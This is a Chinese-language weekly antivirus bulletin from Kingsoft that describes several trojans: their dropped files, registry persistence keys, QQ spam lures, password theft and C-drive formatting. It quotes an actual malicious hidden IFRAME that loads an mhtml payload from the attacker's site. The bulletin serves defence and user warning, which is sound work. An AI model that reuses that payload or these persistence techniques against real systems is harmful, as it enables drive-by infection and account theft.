金山反病毒应急中心本周进行升级包的更新，请用户尽快到金山毒霸网站duba.net 下载升级包，以下是几个重要病毒的简介：

　　一. 本周热门病毒：

　　桌面快捷 Trojan.pswHukle15 ★★★ 传播方式：文件 网络

　　该木马流传比较广，所以更有了危害性。而且它能改变你的桌面快捷方式的指向，当你不经意运行你的程序的时候，就运行了病毒，而看不到你要的程序启动。

　　当病毒执行后，会产生以下行为：

　　1.运行后释放hiddukel.exe和hiddukel.dll到windows的system目录。

　　2.修改注册表,关联exe文件：

　　HKEY_CLASSES_ROOT\exefile\shell\open\command

　　HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command

　　3.更改桌面的快捷方式使其指向的自己。

　　4.获取被感染计算机上的Frethem/index.htm" target="_blank" style='text-decoration: underline;color: #0000FF'>密码信息发送到指定的信箱。

　　这样，你的一些账号密码就会被不知觉的被盗了。金山毒霸提醒大家注意防范，不要随便点击陌生的文件或链接，尽快升级您的杀毒软件。

　　二. 本周重点关注病毒：

　　QQ信息变种 Trojan.qqmsgk163.c ★★★ 传播方式：文件 网络

　　这个病毒是Trojan.qqmsgk163的变种,它会利用QQ的发送信息窗口发送信息，骗取用户的网友访问网址 ｈｔｔｐ：／／ｗｗｗ．ｑｑ３３４４．ｃｏｍ。

　　病毒功能简介：

　　1.NT和2000下该木马会试图把自己注册为服务；

　　2.设置默认主页为 ｈｔｔｐ：／／ｗｗｗ．ｑｑ３３４４．ｃｏｍ；

　　3.生成文件: intrenet.exe, windows.exe ；

　　4.试图在注册表里添加键值：HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load = %Systemboot%\System\windows.exe

　　HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\intrenet = %Systemboot%\System\intrenet.exe，同时会定时对注册表进行修改,防止用户改正。

　　5.获取当前工作窗口,向发送消息的窗口填入："朋友，你快去 ｈｔｔｐ：／／ｗｗｗ．ｑｑ３３４４．ｃｏｍ 听超爽流行音乐摇滚DJ免费电影！千万不要错过！我天天都上这个网！"；并发送出去,骗取其他网友点击,实现快速传播

　　6.如果访问 ｈｔｔｐ：／／ｗｗｗ．ｑｑ３３４４．ｃｏｍ, 首页文件中有如下代码：<IFRAME height=0 src="mhtml: ｈｔｔｐ：／／ｗｗｗ．ｑｑ３３４４．ｃｏｍ／ｑｑ３３４４/ｑｑ３３４４.ｍｈｔ" width=0></IFRAME>；它会让计算机自动下载并打开qq3344.mht文件, 这个文件利用了IFrame漏洞,会自动运行其中的附件, 这个附件就是本文介绍的这个病毒。

　　木马帝国 hack.wupdata ★★★ 传播方式： 文件 网络

　　这是一个生存能力较强的木马

　　功能特点:

　　1、运行后有两个常驻进程，互相保护。

　　2、间断性开启第三个进程，监视注册表中已修改的键值。

　　3、将自身拷贝到system目录下，命名为 wupdata.exe，属性为系统、隐藏。

　　4、添加自身到HKLM\Software\Microsoft\Windows\CurrentVersion\Run，以便能随计算机重启而自动运行。

　　5、修改txt文件关联。

　　6、客户端连通服务端后,可以获取被感染计算机基本信息，进行远程关机、重启等。

　　格式化C trojan.formatc ★★★ 传播方式：文件 网络

　　这是一个破坏程序，存在一个定的损害性，会格式化你的C盘，所以要更加小心了：

　　1.名称类似优化软件,骗取用户执行

　　2.运行后弹出一个对话框，提示系统已经优化完成

　　3.一旦点击确定键,计算机马上重启，利用修改的autoexec批处理程序格式化C盘。

　　金山毒霸提醒大家注意防范木马，避免自己受到不必要的伤害。

　　如发现可疑文件，请email至:virus@kingsoft.net

　　数据修复急救，请email至:sos@kingsoft.net